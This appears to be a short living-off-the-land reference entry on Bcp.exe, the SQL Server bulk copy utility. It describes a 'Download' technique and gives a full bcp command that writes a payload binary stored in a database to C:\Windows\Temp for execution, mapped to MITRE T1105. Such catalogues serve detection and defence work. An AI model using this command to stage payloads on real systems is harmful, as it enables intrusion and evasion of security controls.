Bcp.exe

Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.

Download

Extract malicious executable from database storage to local file system for execution.

bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -c

Export binary payload stored in SQL Server database to file system. — MITRE: T1105 — Privileges: User